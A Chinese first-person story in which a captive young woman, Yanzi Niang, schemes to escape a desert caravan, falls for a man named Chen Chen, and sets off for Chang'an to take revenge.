我在流沙古迷宫里转了一个月。
我也迷失在了里面。
抓我的人越来越少。后来,连一个人都看不到了。
尸体越来越少,水和食物也耗尽了。
我昏倒在沙漠里。
我以为,我会死在这里。
可是……
我不想死。
多么悲惨又短暂的一生啊。
当我再次醒过来的时候,我在马车里。
对面坐着一个身穿白衣、披头散发的家伙,看着也就二十来岁。
我的手上脚上,拴着拇指粗的铁链。
呵!还是被抓住了!
“小郎君,你救了我,奴家无以为报……也不敢以身相许。”
我用脚勾住他的腿,说着自己都恶心的话:
“只是奴家这身体还干净着呢。若是你想,何不解开铁链?翻云覆雨一番,春宵苦短值千金呢!”
我心里想的却是:等我咬断你的舌头,定把你砸成肉泥!
可那家伙连看都没看我,只是坐得离我远了一些。
姑娘我就算不是倾国倾城,也算有几分姿色!你这家伙真是不识好歹。
“小郎君,你就算不想和我共度春宵,好歹也要告诉奴家你的名字吧。我想知道到底是谁抓了我,奴家死在谁的手上。”
等我杀了你,就把你的名字刻在你脑门上,让你知道燕子娘不是好惹的!
他抬眼看了我一眼。
那双异瞳,真是吓人。脸上的疤,让我想吐。
算了。现在还能活着就还好。那种非人的家伙,如何才能和他斗下去。
马车不知道行了几天,不知道到了哪里。可能车外现在就是刀枪斧钺,等我一下车,就砍成一段一段的,挂在城楼上。
忽然,有人在车外喊着什么。仔细听去,是一个男人的声音:
“知世郎要坐马车……知世郎要坐马车。”
知世郎是谁?
车停了。终于停了!
一柄长刀的刀尖忽然插进门帘,掀了起来。
是一个四十多岁的男人。他盯着我看了一会儿,然后去问那个白衣冷面鬼。在他身后,还跟着一个画着大花脸的家伙,看不出来任何表情。
真是群奇怪的家伙。
一群人就这样挤上了马车。
有小孩子,有中年男人,有大漠的女人,还有那个家伙……从头到尾,都没有直视过我一眼。他看着车厢里的其他人,但好像在看一群物品一样。
我想,我的机会来了。只要搞定他们中的一个人,就能让这个临时搭伙的队伍分崩离析。我只要趁乱逃走,就再也没人可以抓住我。
你不是不看我吗?你不是把我当物品吗?
那我偏要找你。我要让你永远也忘不掉我!
你身边的那个姑娘也喜欢你对吧?你会选择谁?
我想看看。我想知道。
“好哥哥……”
“小女子燕子娘,江南人氏,自幼习得一身柔功,许多你此生闻所未闻的花样……”
“哎,你要不要解开试试?”
一边说着,我一边把我的脚搭在他的膝盖上。
这双脚,就算不是最美的,也让很多人沉醉。你不会不动心的。
等你对我动了心,杀了那个冷面鬼,我再让你们自相残杀。柔功什么的,那是什么?杀你们用的功夫罢了。幸好当年从青楼女子那听来这个词,你一定很喜欢吧!
你果然很喜欢。若是不喜欢,为什么不拨开我的脚?
可是那个大漠女人,却用膝盖把我的脚撞了下去!
你这家伙!你的男人很喜欢我的脚,你没看见吗?他都没拨开。你急了,你撞开了。他喜欢你这么做吗?
就差那么一点……就差那么一点。
那你呢?你怕我抢走他?那你们两个一起如何?
我顺势抚上那个大漠女人的手臂。
“姐姐放心,我无需名分。”
“你若有意,我也可以一并服侍,包大家都满意的。”
我这是怎么了?我怎么会这样?
燕子娘,你明明知道他们俩才是一对,为什么还要插一脚进来?我是怎么变成现在这样的?以前的那个我呢?
可是,那个把我当东西看、没推开我的脚的人,却把刀鞘抵在我喉咙上。
你是喜欢我的对吧?不然为何是刀鞘呢?刀刃不是更好?我这种人,杀了便杀了,对你有什么影响?
若是刀刃就好了。
那个大漠女人也动了。她捏住我的下巴,把我抵在车厢上。
真是暧昧!
你的男人都喜欢我,你这难道也是喜欢我?假正经!假正经!
“怎么,西域的女子也这么假正经吗?”
说完这话我就后悔了。那女人手上力气极大,捏得我下巴都快掉下来了,一点也不懂得怜香惜玉。
这群家伙,都是一群怪物!
若是有机会,我把你们都杀了。把你们一个埋在这边,一个埋在那边,让你们永远也不能在一起。
让你们知道我燕子娘不是好惹的!
那该死的马车又开始向前走了。还要走多久?
困得要死。可我不能睡。我还得逃出去,我还要过我的生活!
突然,马车翻了。现在就连车夫也要欺负我吗?
我被人压在身下,好重。
不过还好……我不是最下面的那个!
我身下面的是他,是那个拿刀鞘抵在我下巴上的家伙。你怎么到最下面来的?以你的身手,不应该啊!
我趴在他身上,手臂紧紧揽住他的脖子。我的头紧紧贴在他的胸口上,还能听见他平静的心跳。
你一定会记得我!
我抬头看去,他也在看着我。
只是那眼神不带一丝温度。冷得让人胆寒,冷得让人刺骨。
别!别用那种眼神看我!
我不想你讨厌我!
“呦,小郎君……”
“我还以为你是油盐不进的圣人呢。没想到……”
“你对人家这么好啊?”
我对他说了很多。可是此时我说出的话,都是违心的!
他甚至没推开我,只是撑起身,从下面爬出去。
我对你来说,到底算什么?
他把一壶羽箭扔给那个大漠女人。后来我才知道,那女人的名字叫做阿育娅。真是个好听的名字。
我有点羡慕阿育娅了。
他们都离开了。
没人能注意到我。
只要我能把铁链子砸断,就能跑掉!
可是那个被白衣冷面鬼破开的车窗上,不知何时爬上来一个光头男人。
那家伙正盯着我的腿看。眼神真让人恶心。一嘴的黄牙,嘴里还淌着口水,那口水就滴在我脚边的沙地上。
你也想欺负我?那就来吧。
只要你靠近我,我就会用铁链子把你的脖子勒断!如果你
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敢把舌头伸进我嘴里,我就把它咬断,嚼碎,然后吐你一脸!
我摆出一个妩媚的姿势。真是不要脸!
可是还没等那个光头男人爬进来……
一杆枪从外面把那个男人的脑袋戳穿了!
他就站在窗外,看了我一眼,就走了!
他一定看到我的样子了。他一定会讨厌我的吧。我不要,我想他喜欢我!
那个光头男人的脑浆溅了我一身。可我不在乎,我更在乎他的那一眼。
到底代表什么呢?是惋惜?还是可怜?还是喜欢?还是讨厌?还是……不在乎?
都是你!要不是你这个家伙,他一定不会讨厌我!
此时的我脑子里只有一个想法……把他砸成肉泥。
我抱着那块砸铁链的石头冲出去,跑到那具尸体旁边。一下,一下,砸着。
把这些年的委屈、经历、苦难,都化作力气,砸在那个光头的脑袋上。直到他的脑袋和沙子融为一体。
我有些累了。
入夜,看着阿育娅靠在他身上,我好羡慕。我也想靠在他身上。
后来我知道,他叫做陈晨。像晨光一样温暖。
那个白衣冷面鬼和那个中年人打了起来,打得四处冒火。男人就是这样,想要什么却不说。一群奇怪的家伙。
如果他俩能一起死就好了。这样我就可以跟着他俩浪迹天涯了。总有一天,我会让他喜欢上我,哪怕没有名分。
呵!我这是怎么了?明明才刚见面,为何会这么想!
想了半宿,我想明白了。
生活还得继续。
他不属于我。
依仗着一个不属于我的人,最后只能死。
那是个铁匠铺。要是有锤子,就能把铁链敲断了。
那个白衣冷面鬼被打得满身火油,去洗澡了,肯定顾不得我。
我走进铺子里,里面满是汗臭味,令人作呕。
快点吧。砸断了铁链,我就离开这里,离开这群人。
可是想象中的砸断声没有传来。
我睁开眼睛。那个白衣冷面鬼站在我面前,用刀鞘抵住那个锤头。
幸好不是陈晨。他没看到我这个风俗败坏的样子,不会更讨厌我!真好!
我现在才明白……只要这个白衣冷面鬼不死,我永远也逃不掉。
我骂了他两句,走了。一个人回到车上,躲在车里。
脸埋在腿上,任凭眼泪滑落。这里没人能看见。
我才十六岁。凭什么要承受这些!
夜已经深了。我从车厢里走出来。满天的星空,真美。
陈晨他是一个人吗?他会做什么?
我找了许久,才找到他。他和阿育娅躺在一起,看星星。真美。他们两个,仿佛天造地设的一对,谁也不能把他们分开。
我没机会了。
我回到铁匠铺前,看到白衣冷面鬼……或者说竖在和知世郎喝酒。谈论着天下大事,喝了很多。
我加入了他们。酒有些苦,但没有心里苦。喝多了,也就不想了。
死就死吧。至少我现在还活着!
很快就到了龙鳞古渡。上了船,到了中原,不到半天就会被带去长安。
到了那儿,应该也就死了。
可是一群家伙,拦住了大家伙的去路。
我从车帘缝隙中向外看去。看到阿育娅抱着一个人头在哭。看着陈晨挡在她前面,脸上没有一丝害怕的表情。
如果可能,我希望你也能挡在我前面。
陈晨就那么冲进去了。砍死了好多人。好多刀砍在他身上,他也不在乎。
别!别死!不要死!
他又从那边杀回来了!
真是厉害!
我们一起向大漠深处逃去。我活下来了。
可是那些人在后面穷追不舍。陈晨他就那样勒住马,站在原地,面向那些家伙。
那可是有一千匹马,一千骑兵。射出的箭雨能把你射成筛子,马群踩过能把你踩成肉泥。
我想和你说“别走”,可话到嘴边,怎么也说不出来。
如果可以,我们就这样隐居大漠深处不好吗?我们三个人。我不要名分,你让我做什么我就做什么,哪怕是献上自己的贞操。为什么要去送死!
看着陈晨和阿育娅的背影,我以为他们死定了。
我们钻进了大沙暴里,甩开了骑队。
竖他把我的锁链解了下来。我自由了。
可是我却高兴不起来。
我抱着小七和知世郎一起登上渡船。刀马要和竖跟着阿妮回去救人。
我们应该再也不会见面了。
可那渡船才行了一半,我们便被两个左骁骑卫抓住,带回了大漠。
我又见到了他。他还活着。阿育娅也活着。
活着就好。
他们四个打了一架。嗯,有些事情确实需要打架来结束。
我要去哪儿呢?我想了一整晚。
我要去长安。我要和刀马、竖他们一起去长安。我要去杀了那个害我变成这样的……宇文智及和杨素。
有些债,得自己讨。有些事情,该了了。
我走到陈晨身边,笑着说道:
“小郎君,恭喜你找到自己的心上人。”
嗯,真是恭喜了。
但我可不能让你忘了我。
我继续对他说:“若是想要,便来长安寻我。”
这次,你真的不会忘记我了。
我会在长安,等你们。